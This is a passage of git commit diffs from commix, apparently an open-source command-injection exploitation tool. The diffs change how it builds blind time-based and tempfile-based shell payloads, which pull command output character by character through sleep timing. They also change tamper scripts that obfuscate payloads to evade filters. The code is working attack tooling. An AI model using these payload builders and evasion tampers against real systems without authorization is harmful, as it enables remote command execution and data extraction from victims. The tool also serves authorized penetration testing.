settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -135,8 +135,8 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) @@ -207,18 +207,18 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $str > " + OUTPUT_TEXTFILE + separator + - "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + " > " + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "str1=${#str}" + separator + - "if [ " + str(j) + " -eq ${str1} ]" + separator + + #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then sleep 0 " + separator + "then sleep " + str(timesec) + separator + # Transform to ASCII - "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $str1 > " + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + "1 > " + OUTPUT_TEXTFILE + separator + "fi" ) @@ -227,17 +227,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + - "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + "" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "str1=${#str}" + separator + - "[ " + str(j) + " -eq ${str1} ]" + separator + + #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + "sleep " + str(timesec) + separator + # Transform to ASCII - "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) separator = _urllib.parse.unquote(separator) @@ -293,8 +293,8 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(j) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -307,8 +307,8 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) @@ -363,8 +363,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http if separator == ";" or separator == "%0a" : payload = (separator + # Use space as delimiter - "str=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -376,8 +376,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (ampersand + "sleep 0" + separator + # Use space as delimiter - "str=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) @@ -426,8 +426,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -438,8 +438,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -491,8 +491,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ord(str(ascii_char))) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -503,8 +503,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) @@ -548,8 +548,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -560,8 +560,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 6ce3af9bd2..d2460b6bcb 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -32,7 +32,9 @@ def tamper(payload): if not menu.options.alter_shell and not settings.TARGET_OS == settings.OS.WINDOWS: settings.USE_BACKTICKS = True settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" - payload = payload.replace("${#str}", settings.CMD_SUB_PREFIX + "expr" + settings.WHITESPACES[0] + "length" + settings.WHITESPACES[0] + "\"$str\"" + settings.CMD_SUB_SUFFIX) + payload = payload.replace("${#" + settings.RANDOM_VAR_GENERATOR + "}", + settings.CMD_SUB_PREFIX + "expr" + settings.WHITESPACES[0] + "length" + settings.WHITESPACES[0] + "\"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + ) return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 6543bec2b0..08eee36355 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -287,6 +287,8 @@ def sys_argv_errors(): # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) +# Random variable name +RANDOM_VAR_GENERATOR = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) START_TIME = time.time() @@ -1154,9 +1156,9 @@ class AUTH_TYPE(object): "then", "else", "fi", - "str", - "cmd", - "char" + RANDOM_VAR_GENERATOR, + RANDOM_VAR_GENERATOR + "1", + RANDOM_VAR_GENERATOR + "2" ] # HTTP Errors From 1ae15df032df8adc26fa70eca195691c7aa43e72 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 15 Feb 2025 18:00:49 +0200 Subject: [PATCH 0533/1023] Trivial update regarding PR: https://github.com/commixproject/commix/commit/163c8c70027ecd888db357dd496fd91511fa158c --- doc/THANKS.md | 1 + src/core/injections/controller/parser.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index af082b4dc4..e353933d03 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -72,6 +72,7 @@ * Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug. * Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs. * Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement. +* Thanks [raeph123](https://github.com/raeph123) for contributing code. * Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement. * Thanks [royshum93](https://github.com/royshum93) for reporting a bug. * Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug. diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index c857968483..0c28a823f3 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -188,4 +188,4 @@ def invalid_data(request): sub_content = "POST data: " + menu.options.data settings.print_data_to_stdout(settings.print_sub_content(sub_content)) -# eof +# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 08eee36355..8cac74f40b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 62450e0c3d899160818ec00d3e484cec313a9196 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 20 Feb 2025 08:23:14 +0200 Subject: [PATCH 0534/1023] Minor update regarding tamper script "uninitializedvariable.py" --- src/core/tamper/uninitializedvariable.py | 13 ++++++------- src/utils/settings.py | 3 ++- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index e8902c74a5..82da1db664 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -26,15 +26,17 @@ __tamper__ = "uninitializedvariable" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + num = 2 + obf_char = "${" + ''.join(random.choice(string.ascii_uppercase) for x in range(num)) + "}" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_uninitialized_variable(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - num = 2 - obf_char = "${" + ''.join(random.choice(string.ascii_letters) for x in range(num)) + "}" - payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) + payload = re.sub(r'([e-zD-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: @@ -42,10 +44,7 @@ def add_uninitialized_variable(payload): return payload if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_uninitialized_variable(payload) + return add_uninitialized_variable(payload) else: return payload diff --git a/src/utils/settings.py b/src/utils/settings.py index 8cac74f40b..80236ecb47 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1156,6 +1156,7 @@ class AUTH_TYPE(object): "then", "else", "fi", + "%0d", RANDOM_VAR_GENERATOR, RANDOM_VAR_GENERATOR + "1", RANDOM_VAR_GENERATOR + "2" From bf8aa0f8d8e77b88c5ab6a869110ffd8c1d3f6c3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 21 Feb 2025 08:28:52 +0200 Subject: [PATCH 0535/1023] Minor update regarding tamper script "dollaratsigns.py" --- src/core/tamper/dollaratsigns.py | 7 ++----- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 5a8329e493..b8eaedbfae 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -30,7 +30,7 @@ def tamper(payload): def add_dollar_at_signs(payload): settings.TAMPER_SCRIPTS[__tamper__] = True obf_char = "$@" - payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) + payload = re.sub(r'([e-zE-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: @@ -38,10 +38,7 @@ def add_dollar_at_signs(payload): return payload if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_dollar_at_signs(payload) + return add_dollar_at_signs(payload) else: return payload diff --git a/src/utils/settings.py b/src/utils/settings.py index 80236ecb47..5a2b8633dd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f7fc1f64c4aef9a7dcc27b1b3dc0f59aebd096a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 4 Mar 2025 19:34:49 +0200 Subject: [PATCH 0536/1023] Minor code refactoring regarding multiple tamper scripts --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 20 ++++++++++---------- src/core/tamper/backslashes.py | 16 ++++++---------- src/core/tamper/backticks.py | 3 +-- src/core/tamper/base64encode.py | 5 +---- src/core/tamper/caret.py | 13 ++++--------- src/core/tamper/dollaratsigns.py | 9 +++++---- src/core/tamper/doublequotes.py | 15 ++++++--------- src/core/tamper/hexencode.py | 3 --- src/core/tamper/multiplespaces.py | 9 ++++++--- src/core/tamper/nested.py | 11 ++++++----- src/core/tamper/printf2echo.py | 13 +++++++++---- src/core/tamper/rev.py | 3 +-- src/core/tamper/singlequotes.py | 17 +++++++---------- src/core/tamper/slash2env.py | 9 ++------- src/core/tamper/sleep2timeout.py | 8 ++------ src/core/tamper/sleep2usleep.py | 8 ++------ src/core/tamper/space2htab.py | 3 +-- src/core/tamper/space2ifs.py | 5 ++--- src/core/tamper/space2plus.py | 5 ++--- src/core/tamper/space2vtab.py | 3 +-- src/core/tamper/uninitializedvariable.py | 9 ++++++--- src/core/tamper/xforwardedfor.py | 2 +- src/utils/settings.py | 13 +++++++++---- 24 files changed, 91 insertions(+), 112 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f182ee27bb..81b0ffc55d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Minor code refactoring regarding multiple tamper scripts. * Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). * Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index edebe80b42..d6f34fb999 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1484,7 +1484,7 @@ def tamper_scripts(stored_tamper_scripts): if menu.options.tamper: # Check the provided tamper script(s) available_scripts = [] - provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) + provided_scripts = list(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower())) for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): available_scripts.append(os.path.basename(script.split(".py")[0])) for script in provided_scripts: @@ -1841,29 +1841,29 @@ def check_for_stored_tamper(payload): def perform_payload_modification(payload): settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) - for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for extra_http_headers in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor - for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Reverses (characterwise) the user-supplied operating system commands if mod_type == 'backticks': from src.core.tamper import backticks payload = backticks.tamper(payload) - for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Reverses (characterwise) the user-supplied operating system commands if mod_type == 'rev': from src.core.tamper import rev payload = rev.tamper(payload) - for print_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for print_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # printf to echo (for ascii to dec) if print_type == 'printf2echo': from src.core.tamper import printf2echo payload = printf2echo.tamper(payload) - for sleep_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for sleep_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # sleep to timeout if sleep_type == 'sleep2timeout': from src.core.tamper import sleep2timeout @@ -1873,7 +1873,7 @@ def perform_payload_modification(payload): from src.core.tamper import sleep2usleep payload = sleep2usleep.tamper(payload) - for quotes_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for quotes_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Add double-quotes. if quotes_type == 'doublequotes': from src.core.tamper import doublequotes @@ -1883,7 +1883,7 @@ def perform_payload_modification(payload): from src.core.tamper import singlequotes payload = singlequotes.tamper(payload) - for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Add uninitialized variable. if mod_type == 'uninitializedvariable': from src.core.tamper import uninitializedvariable @@ -1908,7 +1908,7 @@ def perform_payload_modification(payload): from src.core.tamper import dollaratsigns payload = dollaratsigns.tamper(payload) - for space_mod in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for space_mod in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Encode spaces. if space_mod == 'space2ifs': from src.core.tamper 